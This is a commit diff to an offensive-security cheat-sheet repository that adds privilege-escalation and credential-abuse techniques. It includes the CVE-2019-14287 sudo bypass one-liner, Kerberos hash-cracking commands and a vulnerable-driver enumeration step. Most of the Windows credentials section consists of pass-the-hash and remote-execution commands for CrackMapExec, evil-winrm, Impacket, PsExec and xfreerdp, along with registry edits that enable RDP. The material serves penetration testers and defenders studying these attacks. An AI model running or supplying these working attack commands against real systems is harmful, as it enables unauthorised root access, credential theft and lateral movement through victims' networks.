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SUDO CVE + Windows Drivers PrivEsc

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4
Methodology and Resources/Active Directory Attack.md
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@ -767,8 +767,8 @@ Alternatively on macOS machine you can use [bifrost](https://github.com/its-a-fe
Then crack the ticket with hashcat or john
```powershell
hashcat -m 13100 -a 0 hash.txt crackstation.txt
./john ~/hash.txt --wordlist=rockyou.lst
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt
```
Mitigations:

13
Methodology and Resources/Linux - Privilege Escalation.md
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@ -28,6 +28,7 @@
* [LD_PRELOAD and NOPASSWD](#ld_preload-and-nopasswd)
* [Doas](#doas)
* [sudo_inject](#sudo-inject)
* [CVE-2019-14287](#cve-2019-14287)
* [GTFOBins](#gtfobins)
* [Wildcard](#wildcard)
* [Writable files](#writable-files)
@ -389,6 +390,7 @@ uid=0(root) gid=1000(swissky)
| CAP_NET_BIND_SERVICE | SERVICE Bind a socket to internet domain privileged ports |
## SUDO
Tool: [Sudo Exploitation](https://github.com/TH3xACE/SUDO_KILLER)
### NOPASSWD
@ -459,6 +461,17 @@ uid=0(root) gid=0(root) groups=0(root)
Slides of the presentation : [https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf](https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf)
### CVE-2019-14287
```powershell
# Exploitable when a user have the following permissions (sudo -l)
(ALL, !root) ALL
# If you have a full TTY, you can exploit it like this
sudo -u#-1 /bin/bash
```
## GTFOBins
[GTFOBins](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

26
Methodology and Resources/Windows - Privilege Escalation.md
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@ -28,6 +28,7 @@
* [EoP - Kernel Exploitation](#eop---kernel-exploitation)
* [EoP - AlwaysInstallElevated](#eop---alwaysinstallelevated)
* [EoP - Insecure GUI apps](#eop---insecure-gui-apps)
* [EoP - Evaluating Vulnerable Drivers](#eop---evaluating-vulnerable-drivers)
* [EoP - Runas](#eop---runas)
* [EoP - Abusing Shadow Copies](#eop---abusing-shadow-copies)
* [EoP - From local administrator to NT SYSTEM](#eop---from-local-administrator-to-nt-system)
@ -68,6 +69,11 @@
- [WindowsExploits - Windows exploits, mostly precompiled. Not being updated.](https://github.com/abatchy17/WindowsExploits)
- [WindowsEnum - A Powershell Privilege Escalation Enumeration Script.](https://github.com/absolomb/WindowsEnum)
- [Seatbelt - A C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.](https://github.com/GhostPack/Seatbelt)
```powershell
Seatbelt.exe -group=all -full
Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt"
Seatbelt.exe -group=remote -computername=dc.theshire.local -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""
```
- [Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind](https://github.com/M4ximuss/Powerless)
- [JAWS - Just Another Windows (Enum) Script](https://github.com/411Hall/JAWS)
```powershell
@ -738,6 +744,26 @@ Application running as SYSTEM allowing an user to spawn a CMD, or browse directo
Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"
## EoP - Evaluating Vulnerable Drivers
Look for vuln drivers loaded, we often don't spend enough time looking at this:
```powershell
PS C:\Users\Swissky> driverquery.exe /fo table
Module Name Display Name Driver Type Link Date
============ ====================== ============= ======================
1394ohci 1394 OHCI Compliant Ho Kernel 12/10/2006 4:44:38 PM
3ware 3ware Kernel 5/18/2015 6:28:03 PM
ACPI Microsoft ACPI Driver Kernel 12/9/1975 6:17:08 AM
AcpiDev ACPI Devices driver Kernel 12/7/1993 6:22:19 AM
acpiex Microsoft ACPIEx Drive Kernel 3/1/2087 8:53:50 AM
acpipagr ACPI Processor Aggrega Kernel 1/24/2081 8:36:36 AM
AcpiPmi ACPI Power Meter Drive Kernel 11/19/2006 9:20:15 PM
acpitime ACPI Wake Alarm Driver Kernel 2/9/1974 7:10:30 AM
ADP80XX ADP80XX Kernel 4/9/2015 4:49:48 PM
<SNIP>
```
## EoP - Runas
Use the `cmdkey` to list the stored credentials on the machine.

119
Methodology and Resources/Windows - Using credentials.md
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@ -14,7 +14,7 @@
* [Crackmapexec](#crackmapexec)
* [Winexe](#winexe)
* [WMI](#wmi)
* [Psexec.py / Smbexec.py / Wmiexec.py](#psexec.py---smbexec.py---wmiexec.py)
* [Psexec.py / Smbexec.py / Wmiexec.py](#psexecpy--smbexecpy--wmiexecpy)
* [PsExec - Sysinternal](#psexec-sysinternal)
* [RDP Remote Desktop Protocol](#rdp-remote-desktop-protocol)
* [Netuse](#netuse)
@ -93,56 +93,96 @@ shell
## Crackmapexec
```python
git clone https://github.com/byt3bl33d3r/CrackMapExec.github
python crackmapexec.py 10.9.122.0/25 -d DOMAIN -u username -p password
python crackmapexec.py 10.10.10.10 -d DOMAIN -u username -p password -x whoami
# pass the hash
cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth
```powershell
root@payload$ git clone https://github.com/byt3bl33d3r/CrackMapExec.github
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -x 'whoami' # cmd
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -X 'whoami' # powershell
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method atexec -x 'whoami'
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method wmiexec -x 'whoami'
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -x 'whoami'
```
## Remote Code Execution with PS Credentials
```powershell
$SecPassword = ConvertTo-SecureString 'secretpassword' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\USERNAME', $SecPassword)
Invoke-Command -ComputerName DC01 -Credential $Cred -ScriptBlock {whoami}
PS C:\> $SecPassword = ConvertTo-SecureString 'secretpassword' -AsPlainText -Force
PS C:\> $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\USERNAME', $SecPassword)
PS C:\> Invoke-Command -ComputerName DC01 -Credential $Cred -ScriptBlock {whoami}
```
## WinRM
Require:
* Port **5985** or **5986** open.
* Default endpoint is **/wsman**
```powershell
root@payload$ git clone https://github.com/Hackplayers/evil-winrm
root@payload$ evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM]
root@payload$ evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
```
or using a custom ruby code to interact with the WinRM service.
```ruby
require 'winrm'
conn = WinRM::Connection.new(
endpoint: 'http://ip:5985/wsman',
user: 'domain/user',
password: 'password',
)
command=""
conn.shell(:powershell) do |shell|
until command == "exit\n" do
print "PS > "
command = gets
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
puts "Exiting with code #{output.exitcode}"
end
```
## Winexe
Integrated to Kali
```python
winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe
```powershell
root@payload$ winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe
```
## WMI
```powershell
wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
PS C:\> wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
```
## Psexec.py / Smbexec.py / Wmiexec.py
from Impacket
```python
git clone https://github.com/CoreSecurity/impacket.git
python psexec.py DOMAIN/username:password@10.10.10.10
python smbexec.py DOMAIN/username:password@10.10.10.10
python wmiexec.py DOMAIN/username:password@10.10.10.10
```powershell
root@payload$ git clone https://github.com/CoreSecurity/impacket.git
# psexec.exe -s cmd
# switch admin user to NT Authority/System
# PSEXEC like functionality example using RemComSv
root@payload$ python psexec.py DOMAIN/username:password@10.10.10.10
# this will drop a binary on the disk = noisy
# A similar approach to PSEXEC w/o using RemComSvc
root@payload$ python smbexec.py DOMAIN/username:password@10.10.10.10
# A semi-interactive shell, used through Windows Management Instrumentation.
root@payload$ python wmiexec.py DOMAIN/username:password@10.10.10.10
# A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints.
root@payload$ python atexec.py DOMAIN/username:password@10.10.10.10
# Executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
root@payload$ python dcomexec.py DOMAIN/username:password@10.10.10.10
```
## PsExec - Sysinternal
@ -150,8 +190,10 @@ python wmiexec.py DOMAIN/username:password@10.10.10.10
from Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)
```powershell
PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe
PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s # get System shell
PS C:\> PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe
# switch admin user to NT Authority/System
PS C:\> PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s
```
## RDP Remote Desktop Protocol
@ -159,14 +201,14 @@ PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s # get
Abuse RDP protocol to execute commands remotely with [SharpRDP](https://github.com/0xthirteen/SharpRDP)
```powershell
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
PS C:\> SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
```
Or connect remotely with `rdesktop`
```powershell
rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
rdesktop -u username -p password -g 70 -r disk:share=/tmp/myshare 10.10.10.10
root@payload$ rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
root@payload$ rdesktop -u username -p password -g 70 -r disk:share=/tmp/myshare 10.10.10.10
# -g : the screen will take up 70% of your actual screen size
# -r disk:share : sharing a local folder during a remote desktop session
```
@ -174,35 +216,35 @@ rdesktop -u username -p password -g 70 -r disk:share=/tmp/myshare 10.10.10.10
Note: you may need to enable it with the following command
```powershell
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
PS C:\> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
PS C:\> netsh firewall set service remoteadmin enable
PS C:\> netsh firewall set service remotedesktop enable
```
or with psexec(sysinternals)
```powershell
psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
PS C:\> psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
```
or with crackmapexec
```powershell
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
root@payload$ crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
```
or with Metasploit
```powershell
run getgui -u admin -p 1234
root@payload$ run getgui -u admin -p 1234
```
or with xfreerdp
```powershell
xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:10.0.0.1 # pass the hash works for Server 2012 R2 / Win 8.1+
xfreerdp -u test -p 36374BD2767773A2DD4F6B010EC5EE0D 192.168.226.129 # pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
xfreerd /u:runner /v:10.0.0.1 # password will be asked
root@payload$ xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:10.0.0.1 # pass the hash works for Server 2012 R2 / Win 8.1+
root@payload$ xfreerdp -u test -p 36374BD2767773A2DD4F6B010EC5EE0D 192.168.226.129 # pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
root@payload$ xfreerd /u:runner /v:10.0.0.1 # password will be asked
```
## Netuse
@ -210,19 +252,18 @@ xfreerd /u:runner /v:10.0.0.1 # password will be asked
Windows only
```powershell
net use \\ordws01.cscou.lab /user:DOMAIN\username password
C$
PS C:\> net use \\ordws01.cscou.lab /user:DOMAIN\username password C$
```
## Runas
```powershell
runas /netonly /user:DOMAIN\username "cmd.exe"
runas /noprofil /netonly /user:DOMAIN\username cmd.exe
PS C:\> runas /netonly /user:DOMAIN\username "cmd.exe"
PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe
```
## References
- [Ropnop - Using credentials to own Windows boxes](https://blog.ropnop.com/using-credentials-to-own-windows-boxes/)
- [Ropnop - Using credentials to own Windows boxes Part 2](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
- [Gaining Domain Admin from Outside Active Directory](https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html)
- [Gaining Domain Admin from Outside Active Directory](https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html)